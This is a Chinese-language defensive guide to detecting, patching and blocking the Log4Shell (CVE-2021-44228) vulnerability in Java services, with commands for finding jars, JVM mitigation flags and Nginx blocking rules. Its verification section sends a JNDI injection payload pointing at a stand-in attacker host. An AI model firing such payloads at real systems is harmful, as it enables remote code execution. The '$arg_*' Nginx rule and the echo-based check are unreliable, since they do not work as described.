适用场景
本文适用于所有使用 Log4j2 记录日志的 Java 应用,包括 Spring Boot 服务、Tomcat 应用、Kafka、Elasticsearch 等常见中间件。当应用日志中可能记录用户可控输入(如 User-Agent、请求头、表单字段)时,即存在被 Log4Shell(CVE-2021-44228)利用的风险。若你的服务器存在 2021 年 12 月前构建的 Log4j2 依赖,或运维团队尚未完成漏洞排查,请按本文步骤完成检测、修复与拦截三层防护。
前置条件
- 服务器 root 或应用部署账号权限,可修改启动脚本与依赖配置
- 具备应用灰度发布窗口,可安全重启 Java 进程
- Nginx 或 WAF 配置权限,用于部署请求特征拦截规则
原理说明
Log4j2 提供了 JNDI Lookup 功能,允许在日志模板中通过 ${jndi:ldap://host/path} 语法动态解析外部资源。攻击者将恶意 payload 放入日志字段(例如 User-Agent),应用记录日志时 Log4j2 会向攻击者控制的 LDAP/RMI 服务器发起请求,下载恶意 class 并执行,形成 远程代码执行。受影响的版本为 2.0 ~ 2.14.1 及部分 2.15.0(存在绕过),官方修复版本为 2.17.1+。防御思路分三层:升级依赖消除漏洞、禁用 lookup 关闭解析入口、WAF 拦截攻击特征兜底。
操作步骤
第一步:检测受影响组件
先定位服务器上所有 Log4j2 相关 jar 包:
find /opt /usr/local /home -name "log4j-core-*.jar" 2>/dev/null
find /opt /usr/local /home -name "log4j-api-*.jar" 2>/dev/null
同时检查 Maven/Gradle 项目依赖声明:
grep -rn "log4j" pom.xml build.gradle 2>/dev/null
# Maven 项目查看依赖树,确认 log4j-core 版本与来源
mvn dependency:tree -Dincludes=org.apache.logging.log4j
第二步:升级依赖到安全版本
将 log4j-core 升级至 2.17.1 及以上(推荐最新 2.x):
org.apache.logging.log4j
log4j-core
2.17.2
Spring Boot 项目建议统一由 spring-boot-starter-log4j2 管理版本,避免多个 jar 版本不一致。
第三步:无法立即升级时的缓解措施
升级前可用启动参数禁用 lookup 解析,阻断 JNDI 利用链:
# 方式一:JVM 启动参数(仅对 Log4j2 2.10+ 生效)
java -Dlog4j2.formatMsgNoLookups=true -jar app.jar
# 方式二:环境变量
export LOG4J_FORMAT_MSG_NO_LOOKUPS=true
# 方式三:JDK 侧禁止远程 codebase(JDK 8u191+ / 11.0.1+ 默认已开启)
java -Dcom.sun.jndi.ldap.object.trustURLCodebase=false -jar app.jar
注意:-Dlog4j2.formatMsgNoLookups=true 在 2.15.0 及以上版本已默认启用,因此该参数仅作为旧版本的临时缓解,最终仍需升级。
第四步:Nginx WAF 层拦截攻击特征
在 Nginx 的 server 或 location 中增加请求特征拦截,匹配 ${jndi: 字符串:
# 拦截 URI 与 UA 中的 JNDI 注入特征
if ($request_uri ~* "\$\{jndi:") { return 403; }
if ($http_user_agent ~* "\$\{jndi:") { return 403; }
if ($arg_* ~* "\$\{jndi:") { return 403; }
# 更严格:同时拦截 base64 与压缩变体(配合 ModSecurity OWASP CRS 规则更佳)
location / {
# 存在 ${ 且包含 jndi 关键字的请求直接拒绝
if ($request_uri ~* "\$\{[^}]*jndi[^}]*\}") { return 403; }
}
重新加载配置:nginx -t && nginx -s reload。生产环境建议配合 WAF 厂商的 Log4Shell 防护规则,覆盖编码绕过变体。
配置验证
# 1. 验证 lookup 已禁用:日志中原样输出 ${jndi:...} 字符串而非发起 LDAP 请求
echo '${jndi:ldap://127.0.0.1:1389/test}' > /tmp/test.log
# 2. 验证 WAF 拦截:带攻击特征的请求应返回 403
curl -s -o /dev/null -w "%{http_code}\n" \
-H "User-Agent: \${jndi:ldap://evil.example.com/a}" \
https://your-domain.com/
# 3. 验证无外联:查看应用日志中是否出现 jndi 解析异常记录
tail -f /var/log/app/app.log | grep -i "jndi\|lookup"
常见问题
Q1:升级后扫描器仍提示漏洞,如何处理?
说明存在多个 Log4j2 版本共存(传递依赖或 shade 打包)。用 mvn dependency:tree 或 gradle dependencies 排查全部来源,对第三方库引入的旧版本使用 dependencyManagement 强制版本,并检查 Fat Jar 内是否嵌入了旧版 log4j-core。
Q2:只配置 WAF 拦截,不升级依赖可以吗?
不建议。攻击者会持续研究编码、大小写、Unicode 等绕过变体,WAF 规则存在滞后窗口。升级依赖是唯一根治手段,WAF 仅作为纵深防御的兜底层。
Q3:Log4j 1.x 是否受 Log4Shell 影响?
Log4j 1.x 不使用 JNDI Lookup,不受 CVE-2021-44228 影响,但存在其他反序列化漏洞且已停止维护,建议迁移到 Log4j 2.17.1+ 或改用 SLF4J + Logback。
总结
Log4Shell 类 JNDI 注入漏洞的防御核心是 升级依赖 + 禁用 lookup + WAF 拦截 三层纵深防御。企业应建立 Java 依赖版本台账,将 Log4j2 等核心组件纳入供应链安全清单,利用自动化扫描工具定期核验版本,确保新漏洞披露后能在最短窗口内完成修复。